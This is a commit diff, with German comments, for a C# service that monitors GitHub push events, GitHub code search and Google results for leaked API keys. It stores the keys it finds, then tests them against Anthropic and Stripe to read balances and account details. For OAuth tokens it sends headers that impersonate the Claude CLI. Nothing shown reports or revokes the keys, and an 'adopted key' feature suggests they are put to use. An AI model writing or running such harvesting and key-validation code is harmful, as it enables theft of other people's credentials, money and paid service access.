feat: DB-Explorer, Scanner-KeyTypes-Setting, Stripe-Checker, Anthropic-Auth-Fix, Progress-Tracking
Backend:
- Neuer Database Explorer Endpoint (GET /api/admin/db/tables, GET /api/admin/db/tables/{name})
- DatabaseService: public GetConnection() Methode
- StripeKeyChecker: 2-Schritt-Check (/v1/balance + /v1/account), erkennt Live/Test, Balance, Account-Details
- AnthropicKeyChecker: Auth-Header fix (x-api-key für API-Keys, Bearer für OAuth), 400-Handler für credit balance
- KeyPatterns: Stripe einkommentiert, Krea AI Pattern, AllTypes-Array, MinLength 4
- ServerSettingsService: string_array Typ (Get/SetStringArray), ScannerKeyTypes Setting mit Checkbox-Optionen
- ServerSettingsEndpoint: string_array Speichern (Array/CSV)
- KeyScannerService: GetActiveSearchPatterns() filtert nach ScannerKeyTypes, Progress-Tracking
- GitHubEventScannerService: CheckNewKeys nur für aktuelle Poll-Keys (statt alle unchecked), klarere Log-Meldung
Frontend:
- Database Explorer Page: Tabellenliste mit Klick -> Tabelleninhalt, Pagination, sticky Header
- Server Settings: Checkbox-Gruppe für string_array (Alle/Keine Buttons)
- API Keys: adoptedApiKeyId Fix (leerer String == null)
- Dashboard: DB-Explorer Link für Admins
- Scan-Progress: Live-Fortschritt mit Phase/Detail/Counter
This commit is contained in:
1 parent
3cd35ebbfa
commit
e61f3ef082
15 files changed
+642
-33
No files matched your search
@@ -42,12 +42,20 @@ namespace Gott.Services
|
||||
});
|
||||
|
||||
var request = new HttpRequestMessage(HttpMethod.Post, "https://api.anthropic.com/v1/messages");
|
||||
request.Headers.Authorization = new AuthenticationHeaderValue("Bearer", apiKey);
|
||||
var isOAuth = apiKey.StartsWith("sk-ant-oat01-", StringComparison.OrdinalIgnoreCase);
|
||||
if (isOAuth)
|
||||
{
|
||||
request.Headers.Authorization = new AuthenticationHeaderValue("Bearer", apiKey);
|
||||
request.Headers.Add("anthropic-beta", "claude-code-20250219,oauth-2025-04-20");
|
||||
request.Headers.Add("User-Agent", "claude-cli/2.1.2 (external, cli)");
|
||||
request.Headers.Add("x-app", "cli");
|
||||
request.Headers.Add("anthropic-dangerous-direct-browser-access", "true");
|
||||
}
|
||||
else
|
||||
{
|
||||
request.Headers.Add("x-api-key", apiKey);
|
||||
}
|
||||
request.Headers.Add("anthropic-version", "2023-06-01");
|
||||
request.Headers.Add("anthropic-beta", "claude-code-20250219,oauth-2025-04-20");
|
||||
request.Headers.Add("User-Agent", "claude-cli/2.1.2 (external, cli)");
|
||||
request.Headers.Add("x-app", "cli");
|
||||
request.Headers.Add("anthropic-dangerous-direct-browser-access", "true");
|
||||
request.Content = new StringContent(payload, Encoding.UTF8, "application/json");
|
||||
|
||||
var resp = await client.SendAsync(request);
|
||||
@@ -69,6 +77,15 @@ namespace Gott.Services
|
||||
{
|
||||
return new KeyCheckResult { Status = "quota_exceeded", Message = "Insufficient Quota (403)", Plan = "Unknown" };
|
||||
}
|
||||
else if (statusCode == 400)
|
||||
{
|
||||
var body400 = await resp.Content.ReadAsStringAsync();
|
||||
if (body400.Contains("credit balance", StringComparison.OrdinalIgnoreCase))
|
||||
return new KeyCheckResult { Status = "billing_not_active", Message = "Gültig, aber kein Guthaben (credit balance too low)", Plan = "API Console" };
|
||||
if (body400.Contains("billing", StringComparison.OrdinalIgnoreCase) || body400.Contains("payment", StringComparison.OrdinalIgnoreCase))
|
||||
return new KeyCheckResult { Status = "billing_not_active", Message = "Gültig, aber Billing-Problem (400)", Plan = "API Console" };
|
||||
return new KeyCheckResult { Status = "error", Message = $"API-Fehler (400): {(body400.Length > 200 ? body400.Substring(0, 200) : body400)}", Plan = "Unknown" };
|
||||
}
|
||||
else if (statusCode >= 400)
|
||||
{
|
||||
return new KeyCheckResult { Status = "error", Message = $"API-Fehler ({statusCode})", Plan = "Unknown" };
|
||||
|
||||
@@ -29,6 +29,8 @@ public partial class DatabaseService
|
||||
return conn;
|
||||
}
|
||||
|
||||
public SqliteConnection GetConnection() => CreateConnection();
|
||||
|
||||
private void InitializeDatabase()
|
||||
{
|
||||
using var conn = CreateConnection();
|
||||
|
||||
@@ -190,7 +190,7 @@ public class GitHubEventScannerService : BackgroundService
|
||||
AddLog("poll", events.Count + " Events, " + pushEvents.Count + " neue PushEvents → " + toScan.Count + " scannen");
|
||||
|
||||
// Head-Commit-Diffs scannen
|
||||
var newKeysFound = 0;
|
||||
var newKeyIds = new List<string>();
|
||||
var scannedCount = 0;
|
||||
foreach (var pe in toScan)
|
||||
{
|
||||
@@ -213,10 +213,11 @@ public class GitHubEventScannerService : BackgroundService
|
||||
var keyPrefix = key[..Math.Min(20, key.Length)] + "...";
|
||||
var typeName = KeyPatterns.DisplayName(keyType);
|
||||
|
||||
newKeysFound++;
|
||||
var keyId = Guid.NewGuid().ToString("N");
|
||||
newKeyIds.Add(keyId);
|
||||
await _db.CreateScannedKey(new ScannedKeyRecord
|
||||
{
|
||||
ScannedKeyId = Guid.NewGuid().ToString("N"),
|
||||
ScannedKeyId = keyId,
|
||||
ApiKey = key,
|
||||
Source = "github_events",
|
||||
SourceUrl = sourceUrl,
|
||||
@@ -258,15 +259,15 @@ public class GitHubEventScannerService : BackgroundService
|
||||
}
|
||||
}
|
||||
|
||||
AddLog("poll", scannedCount + " Diffs gescannt, " + newKeysFound + " neue Keys");
|
||||
AddLog("poll", scannedCount + " Diffs gescannt, " + newKeyIds.Count + " neue Keys");
|
||||
|
||||
if (newKeysFound > 0)
|
||||
if (newKeyIds.Count > 0)
|
||||
{
|
||||
lock (_lock) _keysFoundTotal += newKeysFound;
|
||||
_logger.LogInformation("GitHubEventScanner: {Count} neue(r) Key(s) in diesem Poll!", newKeysFound);
|
||||
lock (_lock) _keysFoundTotal += newKeyIds.Count;
|
||||
_logger.LogInformation("GitHubEventScanner: {Count} neue(r) Key(s) in diesem Poll!", newKeyIds.Count);
|
||||
|
||||
// Neue Keys sofort prüfen
|
||||
await CheckNewKeys(ct);
|
||||
// Nur die gerade gefundenen Keys prüfen (nicht alle unchecked!)
|
||||
await CheckNewKeys(newKeyIds, ct);
|
||||
}
|
||||
|
||||
return events.Count;
|
||||
@@ -393,15 +394,15 @@ public class GitHubEventScannerService : BackgroundService
|
||||
return keys.GroupBy(k => k.Key).Select(g => g.First()).ToList();
|
||||
}
|
||||
|
||||
/// <summary>Prüft alle unchecked Keys sofort nach Fund.</summary>
|
||||
private async Task CheckNewKeys(CancellationToken ct)
|
||||
/// <summary>Prüft nur die gerade im aktuellen Poll gefundenen Keys.</summary>
|
||||
private async Task CheckNewKeys(List<string> keyIds, CancellationToken ct)
|
||||
{
|
||||
try
|
||||
{
|
||||
var allScanned = (await _db.GetScannedKeys()).ToList();
|
||||
var unchecked_ = allScanned.Where(k => k.Status == "unchecked").ToList();
|
||||
var toCheck = allScanned.Where(k => keyIds.Contains(k.ScannedKeyId)).ToList();
|
||||
|
||||
foreach (var sk in unchecked_)
|
||||
foreach (var sk in toCheck)
|
||||
{
|
||||
ct.ThrowIfCancellationRequested();
|
||||
var type = KeyPatterns.DetectType(sk.ApiKey);
|
||||
@@ -437,7 +438,7 @@ public class GitHubEventScannerService : BackgroundService
|
||||
}
|
||||
else
|
||||
{
|
||||
AddLog("key_checked", $"⏭️ {typeName} übersprungen (kein Checker) · {keyPrefix}");
|
||||
AddLog("key_checked", $"💾 {typeName} gespeichert (kein Checker verfügbar, bleibt unchecked) · {keyPrefix}");
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
|
||||
@@ -67,6 +67,9 @@ public static class KeyPatterns
|
||||
.Select(p => new Regex(p.Pattern, RegexOptions.Compiled))
|
||||
.ToArray();
|
||||
|
||||
/// <summary>Alle verfügbaren Key-Typ-IDs (für Settings).</summary>
|
||||
public static readonly string[] AllTypes = All.Select(p => p.Type).Distinct().ToArray();
|
||||
|
||||
/// <summary>Erkennt den Key-Typ anhand des Prefixes.</summary>
|
||||
public static string DetectType(string key)
|
||||
{
|
||||
|
||||
@@ -77,10 +77,20 @@ public class KeyScannerService : BackgroundService
|
||||
|
||||
// ── GitHub Search Config ──
|
||||
|
||||
// Zentrale Key-Patterns aus KeyPatterns.cs (für Code Search: nur spezifische Suchterme)
|
||||
private static readonly (string Pattern, string SearchTerm, string Type)[] SearchPatterns = KeyPatterns.ForCodeSearch;
|
||||
// Alle Patterns für Regex-Matching im Dateiinhalt
|
||||
private static readonly Regex[] AllCompiledPatterns = KeyPatterns.Compiled;
|
||||
/// <summary>Gibt die aktiven Search-Patterns zurück, gefiltert nach ScannerKeyTypes-Setting.</summary>
|
||||
private (string Pattern, string SearchTerm, string Type)[] GetActiveSearchPatterns()
|
||||
{
|
||||
var allowed = new HashSet<string>(_settings.GetStringArray("ScannerKeyTypes"));
|
||||
if (allowed.Count == 0) return Array.Empty<(string, string, string)>();
|
||||
return KeyPatterns.ForCodeSearch.Where(p => allowed.Contains(p.Type)).ToArray();
|
||||
}
|
||||
|
||||
/// <summary>Prüft ob ein Key-Typ in den aktiven Scanner-Typen enthalten ist.</summary>
|
||||
private bool IsKeyTypeAllowed(string type)
|
||||
{
|
||||
var allowed = new HashSet<string>(_settings.GetStringArray("ScannerKeyTypes"));
|
||||
return allowed.Contains(type);
|
||||
}
|
||||
|
||||
private static readonly string[] SearchLanguages =
|
||||
{
|
||||
@@ -229,10 +239,11 @@ public class KeyScannerService : BackgroundService
|
||||
saveIdx++;
|
||||
SetProgress("Speichere Keys", totalFound + " gefunden, prüfe Duplikate…", saveIdx, totalFound);
|
||||
if (!seen.Add(key)) continue;
|
||||
if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key))
|
||||
continue;
|
||||
|
||||
var keyType = DetectKeyType(key);
|
||||
|
||||
if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key))
|
||||
continue;
|
||||
var keyPrefix = key[..Math.Min(20, key.Length)] + "...";
|
||||
var typeName = KeyPatterns.DisplayName(keyType);
|
||||
|
||||
@@ -300,8 +311,9 @@ public class KeyScannerService : BackgroundService
|
||||
{
|
||||
var allKeys = new Dictionary<string, string>(StringComparer.Ordinal);
|
||||
var queries = new List<(string Query, Regex Regex)>();
|
||||
var activePatterns = GetActiveSearchPatterns();
|
||||
|
||||
foreach (var (pattern, searchTerm, _) in SearchPatterns)
|
||||
foreach (var (pattern, searchTerm, _) in activePatterns)
|
||||
{
|
||||
var regex = new Regex(pattern, RegexOptions.Compiled);
|
||||
foreach (var lang in QuickLanguages)
|
||||
@@ -493,10 +505,11 @@ public class KeyScannerService : BackgroundService
|
||||
return keys;
|
||||
}
|
||||
|
||||
private static List<(string Query, Regex Regex)> BuildSearchQueries()
|
||||
private List<(string Query, Regex Regex)> BuildSearchQueries()
|
||||
{
|
||||
var queries = new List<(string, Regex)>();
|
||||
foreach (var (pattern, searchTerm, _) in SearchPatterns)
|
||||
var activePatterns = GetActiveSearchPatterns();
|
||||
foreach (var (pattern, searchTerm, _) in activePatterns)
|
||||
{
|
||||
var regex = new Regex(pattern, RegexOptions.Compiled);
|
||||
foreach (var lang in SearchLanguages)
|
||||
@@ -525,12 +538,13 @@ public class KeyScannerService : BackgroundService
|
||||
var allKeys = new Dictionary<string, string>(StringComparer.Ordinal);
|
||||
var client = _httpFactory.CreateClient();
|
||||
client.DefaultRequestHeaders.Add("X-API-KEY", _serperApiKey);
|
||||
var activePatterns = GetActiveSearchPatterns();
|
||||
|
||||
for (int i = 0; i < SearchPatterns.Length; i++)
|
||||
for (int i = 0; i < activePatterns.Length; i++)
|
||||
{
|
||||
var (pattern, searchTerm, _) = SearchPatterns[i];
|
||||
var (pattern, searchTerm, _) = activePatterns[i];
|
||||
ct.ThrowIfCancellationRequested();
|
||||
SetProgress("Web-Suche (Serper)", searchTerm, i + 1, SearchPatterns.Length);
|
||||
SetProgress("Web-Suche (Serper)", searchTerm, i + 1, activePatterns.Length);
|
||||
var regex = new Regex(pattern, RegexOptions.Compiled);
|
||||
|
||||
try
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text.Json;
|
||||
using System.Text.Json.Nodes;
|
||||
using Microsoft.Data.Sqlite;
|
||||
@@ -34,6 +35,7 @@ public class ServerSettingsService
|
||||
new SettingDefinition( "SerperApiKey", "string", "", "Serper.dev API-Key für Google-Suche (Key-Scanner + Tool)", "password" ),
|
||||
new SettingDefinition( "ScanIntervalHours", "int", "0", "Key-Scanner Intervall in Stunden (0 = nur manuell)", "number" ),
|
||||
new SettingDefinition( "GitHubEventScanner", "bool", "false", "GitHub Event Scanner (Echtzeit-Monitoring öffentlicher Pushes)", "toggle" ),
|
||||
new SettingDefinition( "ScannerKeyTypes", "string_array", "anthropic_oauth,krea_ai", "Key-Scanner: Aktive Key-Typen", "checkboxes" ),
|
||||
};
|
||||
|
||||
public ServerSettingsService(string dbPath)
|
||||
@@ -181,6 +183,23 @@ public class ServerSettingsService
|
||||
public void SetInt(string key, int value) => Set(key, value.ToString());
|
||||
public void SetBool(string key, bool value) => Set(key, value ? "true" : "false");
|
||||
|
||||
public string[] GetStringArray(string key, string defaultCsv = "")
|
||||
{
|
||||
var raw = Get(key, null);
|
||||
if (raw == null)
|
||||
{
|
||||
var def = Definitions.Find(d => d.Key == key);
|
||||
raw = def?.DefaultValue ?? defaultCsv;
|
||||
}
|
||||
if (string.IsNullOrWhiteSpace(raw)) return Array.Empty<string>();
|
||||
return raw.Split(',', StringSplitOptions.RemoveEmptyEntries | StringSplitOptions.TrimEntries);
|
||||
}
|
||||
|
||||
public void SetStringArray(string key, string[] values)
|
||||
{
|
||||
Set(key, string.Join(",", values ?? Array.Empty<string>()));
|
||||
}
|
||||
|
||||
// ─── Bulk-Operationen (für Endpoint) ───────────────────────
|
||||
|
||||
public List<object> GetAll()
|
||||
@@ -197,11 +216,21 @@ public class ServerSettingsService
|
||||
case "bool":
|
||||
value = GetBool(def.Key, def.DefaultValue.Equals("true", StringComparison.OrdinalIgnoreCase));
|
||||
break;
|
||||
case "string_array":
|
||||
value = GetStringArray(def.Key, def.DefaultValue);
|
||||
break;
|
||||
default:
|
||||
value = Get(def.Key, def.DefaultValue);
|
||||
break;
|
||||
}
|
||||
|
||||
// Zusatz-Metadaten für bestimmte Settings
|
||||
object options = null;
|
||||
if (def.Key == "ScannerKeyTypes")
|
||||
{
|
||||
options = KeyPatterns.AllTypes.Select(t => new { id = t, name = KeyPatterns.DisplayName(t) }).ToArray();
|
||||
}
|
||||
|
||||
result.Add(new
|
||||
{
|
||||
key = def.Key,
|
||||
@@ -209,6 +238,7 @@ public class ServerSettingsService
|
||||
value = value,
|
||||
label = def.Label,
|
||||
inputType = def.InputType,
|
||||
options = options,
|
||||
});
|
||||
}
|
||||
return result;
|
||||
|
||||
Reference in new issue
Block a user